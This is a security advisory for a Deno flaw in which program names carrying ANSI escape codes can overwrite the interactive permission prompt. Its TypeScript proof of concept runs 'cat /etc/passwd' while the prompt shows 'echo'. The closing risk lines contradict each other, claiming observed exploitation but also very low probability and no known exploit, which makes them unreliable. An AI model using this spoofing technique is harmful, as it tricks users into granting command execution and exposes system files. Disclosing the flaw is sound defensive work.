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GHSA-vq67-rp93-65qf
No affected components available
Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child or op_kill prompt and replace it with any desired text.
Details
The main entry point comes down to the ability to override what the API control says (40_process.js). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in op_kill.
PoC
This PoC works on 1.31.1, but modified versions of it work on older versions.
Make a file, e.g. index.ts, that uses this vulnerability to spoof the op_spawn_child permission prompt
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold
const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`
const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line
Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
cmd: "cat",
args: ["/etc/passwd"],
clearEnv: false,
env: [],
stdin: "null",
stdout: "inherit",
stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
Run the file with deno run index.ts.
Impact
Any Deno program is able to spoof the interactive permission prompt for the op_spawn_child or the op_kill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:
// Expected Prompt
┌ ⚠️ Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
// Actual Prompt
┌ ⚠️ Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.
This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).
Before v1.31.0, this requires the --unstable flag.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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